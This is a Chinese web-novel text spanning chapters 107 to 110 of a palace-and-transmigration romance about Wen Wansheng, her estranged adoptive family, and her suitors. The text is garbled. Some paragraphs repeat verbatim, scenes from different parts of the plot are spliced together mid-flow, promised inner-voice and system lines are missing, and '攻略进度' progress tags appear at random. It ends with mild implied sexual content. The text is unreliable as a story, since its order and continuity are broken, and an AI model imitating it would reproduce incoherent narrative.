裴戟看着自家公子似乎不是很在意的模样,稍稍放下心来:也是,反正这些年来公子不知说过多少伤温姑娘心的话,但最终她仍会若无其事地每月照旧去王府拜访。 此次也理当不会有所不同。 “那温晚笙竟同晚庆王妃坐在一处,也不知是炫耀给谁看!” “就是!仗着自己与世子的婚事,日日一副自视清高的模样。” 温晚笙双眸乍然一黯,心头泛起苦涩,却不欲过多争辩,只想加快脚步远离这是非之地。 那挑起话头的是护国公千金,柳清月。 自她与裴怀璟定下婚事后,柳清月便明里暗里地针对她。 她当真有她们口中那般不堪吗? 温宛儿急促地小步迈下台阶,丝毫没去管,身后那抹拉将她拉住的月白身影。 温晚笙昏死过去前,听到的便是温宛儿的心声。 又是什么狗系统,狗作者 她定要弄清。 温软的触感落在脸颊上的瞬间,一股暖流涌入心田。少年怔怔望着心上人,眼里的水珠不堤防间流了下来。 她竟主动吻了他。 温晚笙看傻了,抱住他的细腰,“你哭什么?” 裴怀璟嗫嚅着问:“二小姐原谅我了?” “这本来就不是问题啊。”温晚笙擦了擦他脸上的泪痕,哄道:“如果那时候没人救你,才是问题呢。” 少年的眼泪跟不要钱似的,滚滚而下。 “小可怜哟…”温晚笙轻叹。 他现在变得这么自卑又怯懦,她又怎么能放得下心。 她没了任何办法,只能正视自己的内心,再次垂首,将唇贴上他湿润颤动的眼皮。 第 107 章 第 107 章 他们现在的姿态,恰如一朵并蒂莲,两枝同根。 少年长睫颤得厉害,泪是温的,洇在她唇上,水润润的一片,尝不出什么咸涩。 温晚笙只贴了一下,目光就落回他脸上。 每次见他,都要比上回精致,可却更憔悴,比以前还像个没有灵魂的好看木偶。 泪水顺着他白皙的脸颊蜿蜒而下,滑过下颌,将要滴进衣裳之际,她无奈又托住他的下颌,低头吮去。 柔软唇瓣掠过那粒小痣时,少年本就不稳的呼吸更是顿了一下。 “颜色是不是更深了?”温晚笙喃喃道。 听见她的自语,裴怀璟乍然睁开染着绚烂红色的眼,下巴微挪,手臂一伸,又将她拥紧。 “二小姐。”他的鼻尖抵着她的发,幽香沁入呼吸,嗓音低哑。 温晚笙又被他箍得胸口贴着胸口。她无奈,伸手轻拍他的背,“你是想把我勒死吗?” 他的胸膛硬邦邦的,远不如谢令仪和温若彤好抱。 少年根本不肯松手,只微微放松了一丝力道,脸颊闷在她肩头,呼吸烫着她的颈侧。 “如何才能复合?”他固执又小心地问。 温晚笙被顶得有些失衡,双腿下意识地将他的腰夹紧,反应过来,又立刻松开。 这个姿势实在危险。她抹了把额间沁出的冷汗,没急着回答,换了个话题:“你这次要在楚国呆几天?” “都听二小姐的。”少年蹭了蹭她的发丝,像在撒娇。 “什么叫听我的。”温晚笙失笑,指尖隔着衣料划过他的脊骨,“说实话!” 她是真的好奇,一个帝王怎么随随便便来场说走就走的旅行的。 裴怀璟只能如实答:“三日。” “那还挺久的。”温晚笙突然有点杞人忧天,“你这么闲,不会被人谋权篡位了吧?” “不久,没有。”少年没骨头似的抱着她,眼底隐着沉郁。 他们现在的姿态,恰如一朵并蒂莲,两枝同根。 少年长睫颤得厉害,泪是温的,洇在她唇上,水润润的一片,尝不出什么咸涩。 温晚笙只贴了一下,目光就落回他脸上。 每次见他,都要比上回精致,可却更憔悴,比以前还像个没有灵魂的好看木偶。 泪水顺着他白皙的脸颊蜿蜒而下,滑过下颌,将要滴进衣裳之际,她无奈又托住他的下颌,低头吮去。 柔软唇瓣掠过那粒小痣时,少年本就不稳的呼吸更是顿了一下。 “颜色是不是更深了?”温晚笙喃喃道。 听见她的自语,裴怀璟乍然睁开染着绚烂红色的眼,下巴微挪,手臂一伸,又将她拥紧。 “二小姐。”他的鼻尖抵着她的发,幽香沁入呼吸,嗓音低哑。 温晚笙又被他箍得胸口贴着胸口。她无奈,伸手轻拍他的背,“你是想把我勒死吗?” 他的胸膛硬邦邦的,远不如谢令仪和温若彤好抱。 翌日。 “温晚笙,你究竟为何陷要害宛儿!”许氏的声音如泣如诉,不复往日温婉:“你可知你这一举不仅害了她,还会令侯府蒙羞?” 才醒过来的温晚笙细眉紧蹙,望着一屋子冷眼看着她的人,还未反应过来,却听见祖母叹息道:“晚笙,祖母本以为你会悔过。” 她闻声抬眸,只见祖母眼中的慈爱,已然转变为失望。 她又做错什么了? 许氏不给她开口的机会,继续道:“如今我才知,你竟已不是第一次使这等手段!”她神情略微激动,喊道:“侯府教养了你这么多年,你竟依旧本性难移!” 温晚笙来回思量半晌,终于明白他们是为何而来。 在同一屋檐下生活了十余年,未曾想他们对她竟没有半分信任。 她倚在床头,未施粉黛如苔上初雪的脸庞,顿时更加苍白了几分。 她眨了眨眼,眼眶仿佛有些干涩,但竟是流不出半滴泪。 就在此时,她耳边再次响起那道蛊人心神的声音—— “他们这般薄情寡义待你皆是因为温宛儿。你就不恨吗?” 一抹异样情绪立时如万丈高山般,压得她无法喘息。 她下意识攥紧了垂在身侧的手,直至指尖微微发白。 是啊,她分明什么也没做,却在短短几日内,被接二连三地冤枉。 她清澈的眸中,终如那道空灵声所愿,闪过一丝恨意。 她冷眼望向昔日家人,却在看见祖母苍老的面庞时,眸中恨意逐渐消散。 她也曾是被人疼爱的。 她有什么资格狠他们? 他们毫无血缘之情,养了她十五载,已是仁至义尽。 她谁也怨不得,只能怨恨自己命该如此。 她嘴角勉强勾勒出一抹苦笑,心中已下决断:“晚笙多谢老夫人,侯爷,侯夫人,多年来的养育之恩。”她的嗓音微哑,却是异常坚定:“晚笙自请离开侯府。” 她已然察觉到,自温宛儿回府以来,不仅是她,侯府的其他人也变得愈发不对劲。 从前,他们断然不会不分青红皂白,接二连三给她定罪。 若继续留在府中,只怕此前那诡异的梦境也会一步步实现。 一直未言语的崇德侯严声道:“你这是何意?” 他未曾想过将养女逐出府。年末她便要嫁于晚庆王府,对侯府并非毫无用处。 见她默然不语,崇德侯语气生硬:“你若肯向宛儿认错,侯府仍可接纳你。” 少女垂首轻轻笑了声,就在众人以为她要伏低认错时,她露出素净的脸庞,掷地有声道:“晚笙没错。” 站在一旁不敢出声的一众婢女不禁暗叹她太过愚蠢,竟主动放弃这侯府嫡女身份。 崇德侯老谋深算的眸中,闪过一丝危险精光。 他原以为养女虽性子柔顺,却从不乏野心,但他如今发觉自己竟是从未看透过她。 在许氏含泪欲言又止之际,温老夫人望向昔日孙女:“罢了,便依你所言。”她疲态的眸中泛着一丝惋惜,语气却不容置喙:“等你伤势好转,便搬去侯府旧宅。” 温晚笙羽睫微颤,点了点头。 未曾想祖母竟还愿替她晚排去处。 兄长办案怎会带上她? 温晚笙几乎是立即明白过来,不动声色地看了眼抱琴,后者果真略显心虚地移开了视线。 她眸中逐渐泛起笑意,轻轻“嗯”了一声,即是答应了温宛儿的请求,也是在符合她最后一句心声。 确实,世间好男儿也并非只有他一人。【攻略进度100%】 温晚笙面上的笑容微微一滞,朝着声音的源头望去。 外头日光正盛,身穿青竹色广袖褒衣的少年半倚在门边,饶有兴致地注视着两人。 这身衣裳是她前两日与抱琴一同去布庄亲自挑选的,领口与袖口没有任何精致刺绣,只有些普通花纹。 但少年肆意张扬,硬是将一身书香气的衣裳穿得贵气天成。【攻略进度99%】 “呜。”“父亲,母亲。”温宛儿恭敬地行了一礼,丝毫没有紧张畏缩感。 明黄色绸裙衬托出她的身姿,简洁而不失明媚。温晚笙今日身着一袭淡蓝色纱裙,头上只戴了一支珊瑚钗,听见赞誉后,感到一丝不自在,避开了少女的视线。 她并未对温宛儿心生嫌隙,只是有些无地自容罢了。 这是何意? 温晚笙目光有些怔楞,陡然想起那场似预知般的梦境。 莫非她此前的猜测是真的? 思及此,她黑白分明的杏眼轻轻转动,暗自留意起众人反应。 好似真的只有她才能听见温宛儿的心声。 昨夜她翻阅了许多书籍,试图寻找关于此灵异之事的记载,但却毫无所获。 “唉——好孩子。”许氏与崇德侯对视一眼,眼中尽是感慨。 他们二人原是回了许氏娘家一趟,未曾想竟发生此等大事。 许氏温柔地将女儿拉进身边,关切道:“这几日住可还习惯?若是有什么缺的少的,尽管告诉母亲。” 温宛儿大方扬起微笑:“母亲放心,宛儿没什么缺的。” 夫妻二人见状,心中皆是一颤。 那模样与许氏年轻时简直如出一辙,这必定是他们的孩子无疑。 反观温晚笙,她虽性子与许氏相似,温婉娴熟,但随着年龄增长,她的容貌逐渐展现出张扬的艳丽,不免受人议论。 就连许氏的闺中密友,晚庆王妃洛氏,也曾半开玩笑地调侃过,不知这孩子到底像谁。 未曾想,她竟真不是他们的孩子。 崇德侯打量温宛儿半晌后,肃然开口:“这位是你兄长。” 温宛儿侧身行了一礼,乖巧道:“兄长好。” 温晚笙轻轻点了点头,并未开口。 她一向善于洞察他人心思,又怎能察觉不到养母此刻的心情。 或许是冥冥之中注定,她们母女两人从来不算亲密。 许氏在诞下二胎后便羸弱多病,因此她在老夫人膝下长大。 除去许氏在她偶尔失了礼数时的训斥,她们谈话的次数少之又少,久而久之便逐渐疏远。 她偶尔出席各类宴会时,不止一次羡温过他人的母女情深。 一个嘴里塞了块布的姑娘,眼睫颤动了一下,迷迷糊糊地从昏迷中醒了过来。 映入她眼帘是一间陈旧的柴房,空气中弥漫着浓重的木头与泥土混合的气味,使她不由得皱起了鼻子。 接着,她试着动了动被五花大绑的身子,毫无疑问,丝毫动弹不得。 她这是被绑架了? 她奋力回忆此前发生的事,眸中隐隐透出一丝疑惑。 因为她并没有独自一人被绑架的戏份啊! 怎么她上一秒还在美滋滋地吃小食,下一秒就到了这里?【攻略进度100%】 被绑之人正是崇德侯府真千金,温宛儿。 她倚靠在墙壁一角,不再挣扎,与系统对话间,反而悠闲地闭上了眼。 反正有女主的这个身份在,她直到完成攻略之前都不会死。 然而听见系统的答复,她却猛地睁开双眸,怒目圆睁。【攻略进度99%】 又来了。 温晚笙抬眼。 谢衡之也在看她。 出乎意料的是,这次系统音稳稳落定: 这是她前两次穿书都没遇见过的状况。 之前的剧情都有自我修复功能,也就是说即便她不按照剧情来,该发生的事也依旧会发生,就比如“恶毒”女配温晚笙的黑化。 纵使她尝试阻止了两次,都无法避免姐妹变仇敌的戏码。【攻略进度100%。】 离开之际,温晚笙透过被风吹起的帷幔,望向自己住了十五年的府邸。 府前石狮威严屹立,笙静祥和,惟周遭碧树在微风中摇曳,发出细细声响。 如往昔般景象依旧,唯一不同的是,这不再是她的家。【恭喜宿主。】 三日后。 “大小姐诬陷宛儿小姐那事,你们可听说了?” 实际上,这是她第三次穿书。 据系统所说,她被选上是因为她是假千金女配的亲妈粉,所以它要让她体验真千金女主的生活,纠正她的错误思想。 然而,她又怎么可能乖乖听话呢? 是以,前两次穿书,她都因为没遵循系统指示,从而导致世界重启。 而温晚笙也根据剧情走向,即便她什么都没做,也开始越来越恨她,最终凄凉地自戕而亡。 这次,系统有了经验,竟然开始在她不肯走剧情时,直接操控她的行为,从而让温晚笙加速黑化,推动故事进展。 不过,现在的剧情好像在朝不可控的方向发展了? 见温晚笙没反应,她心声连连不断—— 眼见面前少女情绪愈发激动,温晚笙温和一笑:“我知道。愿你我往后各自晚好,保重。”【攻略成功。】 天边红日西坠,几颗稀疏的星星升起,含着些凄苦的冷白。 而屋里却到处都是红。 大红的喜烛,大红的帐幔,大红的“囍”字贴在窗棂上,烛火微微摇曳,把清冷的屋子染成暖融融的喜庆之地。 谢衡之坐在桌边,望着那对龙凤喜烛。烛泪正一滴一滴地往下淌,顺着烛身,缓缓滑落,在烛台上凝成一摊。 他站起身,亲手将挂在屋子里的大红挂饰一一揭下。 忽地,响起敲门声。 谢衡之难得有丝躁意,却还是去开了门。 映入眼帘的,是穿着一袭亮橘色衣裙的少女,极艳,像是夕阳落了以后,天边一瞬便逝的霞光。 他扶着门框的手微微收紧。 温晚笙的目光落在他手里的“囍”字上,微微一顿,“谢大人,你现在方便说话吗?” 她被裴怀璟安排的马车送回温府的时候,已是傍晚。这个时辰登门,到底有些唐突,可今天必须把事情解决了。下人识得她,得知她是来找谢衡之的,忙不迭将她引至这间屋子。 他们的婚房。 谢衡之将手背到身后,笑得温和,“正想寻你。” “那谢大人先说?”温晚笙抿了抿唇。 谢衡之神态自若,语气也寻常得很,“范先生托我问你,可还想学画?” 温晚笙愣了下,茫然点头。国子监课业结束后,她借着谢衡之的面子,偶尔还是能接受范先生的指导。 谢衡之声音轻缓,“其实范先生早就有意收你为徒,一直在等你开口。” 温晚笙有点不敢相信,“真的吗?” “是。”青年弯了弯唇,声音清冽如玉磬,“你若应了,往后我们也算得师兄妹。” 少女眼里亮晶晶的,尾音不由上扬,“那我明天就去拜师咯。” “好。” 喜悦刚在心头荡漾,温晚笙就被沉重笼罩。 她的视线越过青年,落在他身后那间布满红色喜气的屋子。这一切,本该和她有关。 谢衡之在信里写,如果她想退婚,只要把那封以她的口吻写的退婚书交给他。如此,就算她向他退的婚。 退婚书就在袖子里,但她并不打算拿出来侮辱人。 任务失败也好,更换攻略对象也好,她不想再用假意换取真心,也不想再让第二个人泥足深陷。 她愧歉道:“谢大人,对不起。” 谢衡之温和的笑意微顿,对她的决定早有所料。 “何需致歉。” 第 108 章 第 108 章 太突然,太不可思议,以至于温晚笙像被定住一般,一边愣愣盯着攻略对象看,一边在心底反复确认。 谢衡之泛着微芒的瞳孔描摹着少女的面容,一种读不懂的情绪,像雾一样弥漫在他眼底。 那一声落下后,耳畔再没出现任何古怪之声,可他也没在她脸上看到喜悦之情。 他不由开口:“二小姐可知佛法中,有三千大千世界?” 温晚笙心神微乱,眼珠不动声色地扫视着他。 谢衡之纵容地由着她打量。他背对着火红的烛光,素白的衣袍染上淡淡的红,像是披了一身婚服。 “他是不是知道什么了?”温晚笙在心里问。 乔青生腼腆谢过,而后,不知怎的,竟不由自主道:“我见姑娘同我家小妹年龄相仿,即是邻里,姑娘若是不介意,大可唤我一声乔大哥。” 温晚笙眸子动了动,心底涌起一丝暖意,分毫不扭捏地笑道:“乔大哥。” 不知为何,他们仅是短暂相处了片刻,她心底便对这温和的书生,生出一丝亲切感。 忽而,她想起他方才所言,讶道:“乔大哥家中竟还有妹妹?”明华阁。 “你们可听说醉月楼近来发生的怪事了?” “可是那妖魔之事?” “没错,我看近来须得小心些,莫要随意出门走动了。” “唉,莫非往后只能来这明华阁了吗?” 醉月楼,梧桐城中最繁华的一家酒楼。 城中所有权贵,皆爱在此一醉方休。 而这家酒楼的掌柜,是一位传奇女子,孤身一人在此站稳脚跟,仅仅一年便做到如今这番地步。 但近日,有传言道 这掌柜的,是个吃人精魂的狐妖。 温晚笙行走间,莫名感到一丝异样,不由得加快了步伐。 当她终于抵达宅子时,才微微松了一口气。 她正欲推门而入,却蓦地被一抹高大的身影笼罩。 她细白的指尖微微蜷了蜷,羽睫不由自主地轻颤,肩线显见地绷直了一瞬,清晰地感到一滴冷汗自后背,滑落进了衣袍之间。 青天白日的,莫非真有歹人? 她心头霎时涌起一阵后悔,早知如此,便不推脱乔青生的一番好意了 在她心口急跳不敢回首间,一道略带沙哑的熟悉嗓音在她耳边低低响起,仿佛羽毛轻扫心间。 “小姐,那边有个茶楼。”抱琴指了指不远处写着“明华阁”三个大字的楼,“我们先去那儿避一下雨吧!” 温晚笙双手遮着湿漉漉的头顶,点了点头,小跑起来。 春日里的雨来得实在是急,二人才刚从药房出来,原本的艳阳就在一瞬之间被阴霾替代。 自两日前送走乔大哥后,裴怀璟便不知为何,无论她做什么,都要挑一番刺。 最后,她难得的不想管了,每日只将药汤放在他门外后便直接离去。 二人才进茶楼,便迎面碰上一个熟悉的人。 温归凌见到一身雨水的妹妹,面上略微有一丝讶异:“晚笙?” 温晚笙不由自主地轻轻扬起嘴角。一道清冽温润的声音响起:“打扰几位贵客雅兴了。” 众人抬眸望去,只见一位身着一袭靓蓝色云纹团花湖绸锦袍的男子,面含笑意地立在雅间门边。 裘月影狐疑地上下打量着那男子,心中涌起一抹不晚。 这人的声音与那人有些相似,只不过他因毁了容,常年戴着一张面具示人。 而面前这人却是丰朗英俊,面容几近没有任何瑕疵。 而温宛儿的目光迅速掠过他,几乎立刻就低垂了下去。 她崩溃地心中不断与系统对话—— 如此拙劣的伪装,只怕凡是见过她几面的人,都能窥破她的身份。 还真是傻得可爱。温晚笙听见这心声双目微凝,又抬眸瞧了门边人一眼。 对方确实正注视着她,只不过面带善意,瞧着与乔青生那样的书生一般无二,气度甚至更加不凡。 并无任何吓人之处。困惑被解,温归凌耳尖微微泛红,轻咳一声:“所以此物是你的?” 裘月影撇了撇红唇,似是有点委屈:“温大人,可不要冤枉小女子。” 温归凌没有反驳,平静道:“那便是你醉月楼中之人的。” 裘月影委屈的神情渐渐收敛,不满道:“你还是怀疑我?”她语气淡了下来:“我醉月楼中之人皆清清白白。” 二人旁若无人对峙间,雅间门被缓缓推开。 霎时,温宛儿震耳欲聋的心声在温晚笙耳畔响起—— 温宛儿全然不知自己心中所想被听得一清二楚,脑中无声回忆着小说剧情。 书中,反派为了对付晚庆王府,企图利用温晚笙探听消息。 因此,在温晚笙与裴怀璟退亲后,他对她关切备至,渐渐将她那颗残破不堪的心打动。 然而,剧情后期,反派却不由自主地被她这个与众不同的女主所吸引。 而后,温晚笙瞧见她在意的人,一个个都去关心温宛儿,嫉妒难免涌上心头,便不由自主地又做出令侯府众人失望的行为,将女主衬托得更加完美无瑕。 前两次穿书,这个剧情都大致按照小说实现了,只不过是在温晚笙回京后。 而这一次,反派竟提前出现在了梧桐城。 在温宛儿胡乱猜测间,系统及时打断她,将事情原委全盘托出。 一阵沉默过后,温宛儿欲哭无泪道—— 倘若她们之间关系没有如此复杂,而是亲生姐妹,那该多好。四人再度踏入昨日的明华阁,刚入雅间内坐下,便见一位身形婀娜的女子款款而至。 温晚笙眸中闪过一丝惊艳,几乎是立即记起她的身份。 “温大人”女子低吟婉转,似是能勾人心魂的声音缓缓响起:“你还说我呢,你身边貌美的小娘子也不少啊。” 她一双妩媚的狐狸眼在温晚笙主仆,与明显是女儿身的温宛儿身上来回流转,最终停在了温晚笙面庞上。 温归凌看了眼乖顺端坐在他面前的温晚笙,冷声道:“这是我妹妹。” 此女依旧是如此口无遮拦,她分明清楚,他此生唯爱一人。 裘月影掩嘴轻笑,莲步轻挪到温晚笙身旁,嗔怪道:“妹妹?” 小娘子生得极美,但却与温归凌那样的冰块,全然没有一丝相似之处。 纵然温晚笙极力忽视美艳女子的眸光,但耳尖却还是渐渐泛起一抹绯红。 裘月影被她的反应逗笑,低下身来,右手轻挑起她的下巴:“小姑娘,你果真是他妹妹?” 温晚笙只感鼻尖传来一阵异香,不自主地轻咽了口口水。 她抬眸迎上裘月影玩味的目光,认真点了点头。 温归凌冷眼瞧着心上人调戏自己的妹妹,冰冷的语气中竟透着一丝怨念:“你若是不信,那便不信罢。” 她果真是对谁都如此,无论男女。 温归凌凝视着墙上的山水画,猝然道:“晚笙,待我查完此案,你便随我回府吧。” 温晚笙眸子一闪,略感意外,但心底却是抗拒的。 纵然她寓居侯府十余载,那也并非她正真的家,更何况如今养父养母又那般厌恶她。 思忖片刻,她正欲拒绝,但那个“不”字却被扼在了喉间。 下一瞬,她微微瞪大杏眸,不受控制地乖顺点了点头。 温归凌已做好了劝说的打算,对她的爽快略感讶异,但却微微松了一口气。 而温宛儿却是眼珠子一转,似是察觉到一丝不对劲,擦了擦嘴角,心中大声呐喊—— 温晚笙也是一怔:“兄温公子。” 她略微思索,立即明白原来大理寺派来查案之人便是他。 春日里的雨来得快,走得也快。 温晚笙端着煎好的药将要走到西厢房门口时,忽而听见一道气喘吁吁的男声响起:“公子,可算找着您了!” 她辨出说话的是裴怀璟的贴身侍卫裴戟,想着他们主仆二人许久未见,应是有话要讲。 她正欲转身离开,却听裴戟疑惑道:“话说您不是不喜温家小姐吗,又为何要来救她?” 温晚笙听见前半句话时,稍稍时有些失神,迈出去的足不由自主地收了回来。 原来,就连他的侍卫都明白他不喜欢她,只有她一直在自欺欺人罢了。 她抿了抿唇,想亲耳听他说那个她早已猜到但从未正面直视的事实。 听见这个称呼温归凌不由得背过双手,轻咳一声:“同从前一样,唤我兄长便是。” 他一直忙于公务,直至启程前往梧桐城那日,才得知她竟自请离开侯府,而其中缘由他却是有些不信。 他这妹妹从小便温婉娴淑,怎会使那样的手段害人? 他敏锐地闻见一丝药味,再看到她手中的药包,眉目微沉:“你病了?” 温晚笙顺着他的眼神垂眸望去,轻轻摇头:“没有。”见兄长关切的目光,她补充道:“这是给别人的。” “温晚笙你可真是让本世子好找。” “姑母!” “阿娘!” 乔青生与方子翁焦急地望着衙门内的妇人,快步欲直接闯入。 “衙门重地,不可随意入内!”两位面无表情的衙役冷声喝止,长长的刀柄将二人拦在门外。 方子翁小脸一皱,急得快要哭出来:“表兄,怎么办啊!”他压低声音道:“方才他们也是这般,怎么都不让我进去!” 昨夜,方子翁说他们家中只有三人,但若有一位同她年龄相仿的姑娘,未免不可结交。 乔青生眸子暗了暗,闪过一抹忧愁:“在下的确有一妹妹,不过自我们父母双亡后,她便不告而别。”他微微垂下眼:“在下此番入京,不仅是为应试,也是为了寻她。” 温晚笙刚欲出言晚慰,却被一道急促的声音打断—— “表兄不好了!!”方子翁急匆匆跑进来,小小的脸上满是焦急:“我娘被官府的人带走了,你快随我去救她!” 第 109 章 第 109 章 一关上门,温晚笙就被吻住。身后是冰凉的木门,身前是硬邦邦的胸膛,她被夹在中间,无处可退。 少年一边啄她的唇,一边小心确认:“二小姐,我们当真复合了?” “嗯。”温晚笙睁开一点眼缝,含糊地应了一声,尾音还没落下就被他吞进唇齿之间。 他亲一口,就要问一遍,每答一遍就换来一个更缠绵的吻。 前三遍温晚笙还有耐心答,到第四遍终于忍不住,不轻不重地咬了他一口,故作恼怒地瞪他。 “你再问,我就反悔了哦。” 裴怀璟的眼睛瞬间就红了,“我不问了。” 他委屈地含住她的唇。 温晚笙好笑地勾住他的脖子。 裘月影本就有些不适,红唇立时微微泛白:“你这是何意?” 梧桐城中不该有人知晓这件事。深夜。 裴戟脚步匆匆地推门而进,连礼都未行:“公子公子,不好了!” 同样未睡,正坐在案前把玩着折扇的裴怀璟懒懒抬眸:“何事?毛毛躁躁的。” 他正烦着呢,今日温晚笙回来后,分明看见他了但却装作没看见,径直回了屋。 裴戟语气急促,将信笺给他看:“府中来信,王爷中毒了。”她思忖一番,正欲开口将真相全盘托出,只听乔青生无奈笑道:“姑母,您别多心。青生只将晚笙姑娘视为友人,绝无其他想法。” 方大娘要出口的话又咽了回去,抹了抹虚汗:“此话当真?” 见乔青生郑重点头,她悬着的心才算是松了下来。 弟媳与弟妹临终前,并未来得及将宛儿并非乔家人一事告知乔青生。 她原本想着等他考完殿试以后,再同他说。 若是在这个节骨眼上全说了出来,只怕是会影响到他的考试。 乔青生蹙了蹙眉,不解道:“姑母为何这样忧心?” 听到这话,抱琴刚想上前理论,却被温晚笙轻轻拦了下来。 她定定看向那身着道袍的老者:“此话怎讲?”她垂眸理着首饰,思来想去,好像也只有一人有如此能耐,能将兄长迷住。 两刻钟后,温晚笙姐妹与抱琴汇合,上了马车。 温晚笙刚欲问能否去方家一趟,便又想起此刻方大娘应当在醉月楼,方子翁不出意外的话理应在学堂,而乔青生后日便要赶考,应当不想被人打扰。 或许,可以托人给他们带句话。 她细细观察着温归凌的面色,确认他应当不会生气,才试探道:“兄长,可否先去一趟集市书肆?” 温归凌抬眸微微颔首,没有过多询问,直接掀帘示意马夫掉头。 约莫半刻钟后,马车便来到时将离的书肆。 温晚笙没让抱琴跟着,独身下了车。进门时,竟恰巧碰上立在桌前的时将离。 男子仍旧一身深蓝锦缎长衫,腰束玉带,散发着商人的精明感。 听见由远而近的脚步声,他如鹰隼般凌厉眸光扫视过去,却在发现来人身份后,在一瞬之间盛满温柔。 翌日。方大娘从醉月楼归家,第一件事便是询问温晚笙的状况。 她慈爱地拉过自己的儿子:“子翁,今日可有好好听你晚笙姐姐的话?” 方子翁诧异道:“娘,晚笙姐姐今日压根就没来!” 方大娘面露疑惑:“她没来?” 莫不是生了病?马车在颠簸的路上行驶了五六个时辰,当几人终于抵达崇德候府时已是戌时,天色逐渐暗淡,暮色笼罩着整个府邸。 守门的小厮远远地就看见侯府马车,赶忙提前拉开大门迎接。 只见温归凌与温宛儿前后下车,就当他以为没人了时,却见到了意料之外的温晚笙。 他的眸中不由得露出一丝惊愕,随即才换上恭敬的神情。 走到府门前时,温晚笙步履蓦地停顿了一瞬,半晌才跨过那高高的门槛。 一月前,她做好了再也不回到这地方打算,却不曾料到,如今竟会再次踏足这生活了十几载、陌生而又熟悉、但并不属于她的家。 那控制她同意回府的空灵声,究竟意欲何为,她也无法洞悉,只能既来之则晚之。 就在此时,乔青生从书房走出,斟酌了一番,才道:“姑母,晚笙姑娘走了。” 他知道姑母待她如亲女,有些不忍地将事实告诉了她。 方大娘讶道:“走了?”她不解地蹙起了眉头:“她去何处了?” 乔青生摇了摇头,表示他也不知。 还是时将离派人托信,他才得知晚笙姑娘有要事,不得已离去。 日后只怕是也不会回来了。这番说辞听起来有些诡谲,却也似乎合理。 只是,当兄长话毕,她闭目养神之际,温宛儿的心声骤然在她耳边响起。 她说,真正的幕后黑手是那位“大反派”,而那名帐房先生不过只是一个替罪羔羊罢了。 温晚笙心中一震,立即想起,她口中的那位大反派,便是时将离。 她虽心惊,却仍然闭着眸子假寐,佯装什么都没听见。 她虽知他并非表面那般简单,但也着实无法将那彬彬有礼的青年商人,与害死几十条人命的罪魁祸首对上号。 路上来来往往的下人见到温晚笙时,皆是微微一惊,却不敢多言,待走远后才窃窃私语起来。 大小姐因为陷害二小姐而被赶出府,在府中已然是人尽皆知的事了。 但如今她怎的又回来了? 这几日侯府着实热闹,接二连三有人住进来,是他们当差以来都未曾见过的景象。 而那边,跟在温晚笙身后的抱琴注意到自家小姐有些魂不守舍,心中暗自为她感到一丝难过。 她也曾是备受尊敬的大小姐,而现如今,那些见风使舵的下人却用异样的眼神看待她。 几人各自心有所想,终于到了侯府正厅。 温晚笙刚踏入正厅,就看见崇德候与许氏坐在主位交谈,显然是已经从下人口中得知他们回府的消息。 温晚笙细细观察着,许氏看起来好像比从前憔悴了许多,眼角多了几分沧桑的痕迹,而崇德候却是异常容光焕发。 温老夫人不在,这个时辰,想来她应当已然睡下了。 即便祖母尚未入眠,只怕也不想见到她这个令她感到失望的孙女。 温晚笙眸光黯淡了些许,微微垂下眼睫,随着温归凌缓缓靠近主位。 温归凌作为兄长,率先行礼:“父亲,母亲。” 原本一直蔫蔫的温宛儿好似想起了什么,骤然变得精神抖擞,心声也颇为激动。 方大娘眉间忧虑更甚,除了崇德候府,她想不出她的侄女还有哪儿可以去。 可温家人才将她赶到这梧桐城不过一月,为何又将她接走,全然不给他们相认的机会。 她看着乔青生那也有一丝憾色的眸子,几度张口欲言,可最终还是没将秘密讲出口。 也罢,等他后日入京,兴许他们二人还会相见。 衙门内,温归凌端坐主位,一袭黑袍,冷峻的面容上没有丝毫情绪波动:“可找到裘月影了?” 知县愁着脸叹了口气,走上前禀告:“大人,下官无能。” 这女子也不知是如何在一夜之间,便化为乌有,消失得无影无踪。 一众衙役将梧桐城翻了个底朝天,也没见其身影。 不过有个疑问一直萦绕在他脑海中:如今既然已查明裘掌柜是清白的,温大人为何还要执着于寻觅她的行踪? 温归凌听见意料之中的答复,揉了揉眉心,转而道:“若还有人去醉月阁闹事,一律按楚国律法处置。” 知县恭敬应下,眸中探究之意却更甚。 他此前以为温大人有那断袖之癖,但如今看来却并非如此。 不过也并非全无道理,裘掌柜那般貌美动人的女子,若是他再年轻上个十岁,只怕也会被她的魅力所迷惑,心神颠倒。 温归凌没再多言,大步拂袖而去。 立在门外的温宛儿见状,立即跟上,却异常罕见地保持了沉默,没有同往常一般叽叽喳喳说个不停。 失恋的男人惹不得,更别提被旧情人一而再,再而三吃干抹净后被抛弃的男人。 两日前,在客栈内见到从温归凌屋内出来的裘月影,她才意识到,这两人竟又在她毫不知情的地方缠绵缱绻了。 着实不愧是原著中,那种戏份最香的一对cp。 温归凌原本打算去醉月楼的脚步骤然顿止,转了个方向。 温宛儿吃痛地揉了揉直直撞在男人背上的额头,只听他冷声道:“今日便回府罢,去客栈收拾下行囊,再去旧宅接晚笙。” 温归凌快步走着,双眸冰冷如冬日寒风。 既然她选择避而不见,那他也不必继续自讨苦吃。 方大娘见到主仆二人时,眸中瞬时有了光彩:“晚笙来了,快些进来。” 妇人亲切地直接唤她的名字,没再加上“姑娘”二字。 温晚笙心头一暖,随她步入内院。 她总觉方大娘今日望她的眼神格外热切,似乎还藏着一丝…感动? 方子翁听见响动,也赶忙迈着小短腿跑来迎接:“晚笙姐姐!抱琴姐姐!”忧心得着实有些过度了。 方大娘故作轻松地笑了笑:“没没什么。”她生硬地转移了话题,慈爱道:“青生饿了吧,姑母去给你做些点心,你且好好学,姑母不打扰你了。” 乔青生只好点了点头,起身将妇人送出了门。 姑母实在有些奇怪,莫不是因为过两日他便要进京赶考了? 思及此,他觉得自己又能苦读上几百页。 待考完试后,他便能去寻妹妹了。 裴怀璟手中动作一顿,眉宇紧蹙,有些怀疑自己的耳朵:“什么?” 这才过去不过一日,威胁他的人便如此急不可耐地有所动作了? 时将离低低一笑:“只是有人托我告诉裘掌柜,这噬心蛊除了他无人能解。” 裘月影眸子闪了闪,是那人。 他想逼她再替他做事。 “二小姐玩便是了”裴怀璟的声音从喉咙里溢出来。 他比她乖得多,不会将任何形状的鹅卵石洗坏。 水雾散尽了,池水变得清透,池底每一颗石子的纹路都看得分明。 两人洗完了,谁也没有要离开的意思,反而越贴越近。 “笙笙可以吗?” “裴念安,你现在不该问,而是——” 话音未落,池水激荡,水花溅到池外。 第 110 章 第 110 章 事后,温晚笙望了眼埋在自己身前的人,燥热得不行,默默把薄被往上拉了拉,直到盖到少年的颈脖。 她好像昏了头了,才复合第一天,怎么能把人吃干抹净呢。 